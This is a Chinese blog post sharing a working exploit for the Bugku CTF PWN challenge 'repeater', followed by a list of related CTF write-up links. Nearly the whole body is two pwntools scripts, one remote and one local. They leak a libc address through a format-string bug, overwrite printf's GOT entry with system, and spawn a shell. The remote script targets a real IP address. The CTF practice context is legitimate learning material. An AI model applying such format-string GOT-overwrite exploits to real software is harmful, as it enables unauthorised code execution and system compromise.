bugku PWN repeater题目分享一个能用的exp

  1. Remote

from pwn import*
from LibcSearcher import LibcSearcher
# context.log_level = "debug"
elf = ELF("./pwn7")
io = remote("114.67.175.224","xxxx")
puts_got = elf.got["puts"]# pwndbg得到参数偏移为6
payload1 = p32(puts_got) + b"%6$s"
io.recvuntil("Do you know repeater?\n")
io.send(payload1)
puts_addr = u32(io.recv(8)[-4:])   #取后四位字节作为地址
print(hex(puts_addr))
libc = LibcSearcher("puts", puts_addr) #如果找到多个版本,运行后会提示让选择版本
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))printf_got = elf.got["printf"]
system_addr = libc_base + libc.dump("system")# printf的GOT表项改为system函数地址
payload2 = fmtstr_payload(6,{printf_got : system_addr})
io.sendline(payload2)
io.sendline("/bin/sh\00")
io.interactive()
  1. Local

from pwn import*
# context.log_level = "debug"
elf = ELF("./pwn7")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process('./pwn7')
puts_got = elf.got["puts"]pd = p32(puts_got) + b"%6$s"
io.recvuntil("Do you know repeater?\n")
io.send(pd)
puts_addr = u32(io.recv(8)[-4:])   #取后四位字节地址
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))printf_got = elf.got["printf"]
system_addr = libc_base + libc.sym["system"]# printf的GOT数据改为system函数地址
payload = fmtstr_payload(6,{printf_got : system_addr})
print(payload)
io.sendline(payload)
io.sendline("/bin/sh\00")
io.interactive()

获取到本地shell

bugku PWN repeater相关推荐

  1. [BUGKU] [PWN] PWN5

    [BUGKU] [PWN] PWN5 先下载文件,拉入UBUNTU,checksec检查一下 checksec human 架构是amd64,并开启了NX(堆栈可执行,16进制地址后六位不变,其余运行 ...

  2. [Bugku CTF——Pwn] pwn2

    [Bugku CTF--Pwn] pwn2 题目地址:https://ctf.bugku.com/ 额,好久不写这么简单的题目了 利用栈溢出修改返回地址就好, 如果不会就去看看什么是栈溢出 explo ...

  3. [Bugku CTF——Pwn] pwn4

    [Bugku CTF--Pwn] pwn4 题目地址:https://ctf.bugku.com/ 给的提示很清楚,绕过canary保护 那就绕过就好 题目当中有system函数 利用ROPgadge ...

  4. [Bugku CTF——Pwn] pwn1

    [Bugku CTF--Pwn] pwn1 题目地址:https://ctf.bugku.com/ 额, 直接nc连接上,就可以直接得到shell 好水哦,新手玩玩就好,老鸟勿喷 无语凝噎 cat f ...

  5. 记一次bugku awd的pwn解

    今天晚上6点30闲得没事,随便逛逛的时候看到了bugku awd有战队开了房间,想着没什么事就报名玩了玩,不过pwn题还是很有意思的. 连上去发现是个堆题...再一看加固时间20分钟....(瞬间无语 ...

  6. Bugku S3 AWD排位赛-4 pwn

    Bugku S3 AWD排位赛-4 pwn 吐槽一下,好几个战队什么都没干的突然飞到前10,一轮开始几秒之后一个队直接飞到8千多分,pwn打完一轮从第二轮就打不了了.....对pwn手极度不友好 设计 ...

  7. Bugku S3 AWD排位赛-5 pwn

    Bugku S3 AWD排位赛-5 pwn 栈溢出,直接ret2text from pwn import *context(arch='amd64', os='linux', log_level='d ...

  8. Bugku S3 AWD排位赛-1 pwn

    bugku awd s3排位赛1 pwn解 利用格式化漏洞改a64l为system,v4传入/bin/sh即可getshell 因为s只能32,所以偏移可以采用gdb调试出来 from pwn imp ...

  9. Bugku S3 AWD排位赛-2 pwn

    Bugku S3 AWD排位赛-2 pwn 保护全开 可以通过s溢出改掉v5,满足条件即可 from pwn import *context(arch='i386', os='linux', log_ ...

最新文章

  1. Linux 环境下如何安装部署 RocketMQ 教程
  2. logback logback.xml常用配置详解(三) filter
  3. Windows上也能用Swift编程了,官方编译工具安装包现已上线
  4. mysql创建数据库并且指定utf-8编码
  5. 《MonoTouch开发实践指南》一1.2 创建MonoTouch应用程序
  6. jenkins 命令行 CLI jenkins-cli.jar
  7. AUTOSAR从入门到精通100讲(八十一)-AUTOSAR基础篇之FiM
  8. NHibernate自定义集合类型(上):基本实现方式
  9. k8s高可用集群多个主节点_k8s-高可用集群实现(keepalived)
  10. IBM分布式深度学习技术将语音识别训练时间从一周缩短到11小时
  11. Leetcode之路径总和II
  12. 更换微软TTS语音引擎切换
  13. 现美团架构师分享过去三年的面试感悟—Java程序员应该具备的技能
  14. IDEA插件开发(简单案例助你快速入门)
  15. 华为--NAT技术easy IP 原理配置or实验详解
  16. 第三方登陆(一)微信登陆
  17. kinect相机的安装环境搭建以及测试
  18. play 项目 入到Idea
  19. MySQL下载和安装教程--windows版
  20. MySQL 所推荐的左右值法(毗邻目录法、预排序历遍法)

热门文章

  1. 2023春节,蔚来高速免费换电累计达37万余次
  2. 《袁老师访谈录》第二期 | 李世玮教授/香港科大深圳研究院院长:【有你同在,与众不同!】...
  3. VLAN(虚拟局域网)详解
  4. 还记得当年的c-free和Borland c++5.5编译器吗?
  5. 【Dev c++编辑器代码颜色修改指南】
  6. 嵌入式学习:Cortex-M系列芯片介绍
  7. 《UNIX 环境高级编程》学习笔记—— 标准I/O库
  8. 卑微小吴励志写博客第1天
  9. 【English】——让它慢慢进入我的生活
  10. PTA模拟赛 拼题A打卡奖励